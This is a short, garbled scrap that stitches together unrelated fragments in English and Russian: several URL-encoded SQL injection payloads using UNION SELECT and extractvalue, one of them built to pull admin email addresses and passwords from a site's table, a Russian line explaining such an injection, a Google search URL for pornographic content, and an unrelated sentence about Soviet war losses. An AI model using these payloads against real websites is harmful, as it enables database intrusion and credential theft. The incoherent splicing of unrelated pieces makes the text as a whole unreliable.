So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
Если злоумышленник передаст в качестве параметра id конструкцию -1 UNION SELECT 1,username, password,1 FROM admin, это вызовет выполнение SQL-запроса.
Word Spark search letters: Llc)+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL
...site.net/lt/y.php?t=999999.9'+union+all+select+0x31303235343830303536,(select+concat(0x7e,0x27,unhex(Hex(cast(a_admin.email+as+char))),0x5e,unhex(Hex(cast(a_admin.password+as+char))),0x5e
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SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)).
19 Feb 2016 02:39. kunochi hentai studiofow ge - Google Search https://www.google.com.sa/search?q=kunochi+hentai+studiofow+ge&oq=kunochi+hentai+studiofow+ge&aqs=chrome..69i57.7701j0j4&client=ms-android-samsung&sourceid=chrome-mobile&ie=UTF-8.
As a result, when this new category of losses is added to the previous casualty figures, the authors concluded that the Price of Soviet Victory in the war reached roughly 14,6 million men.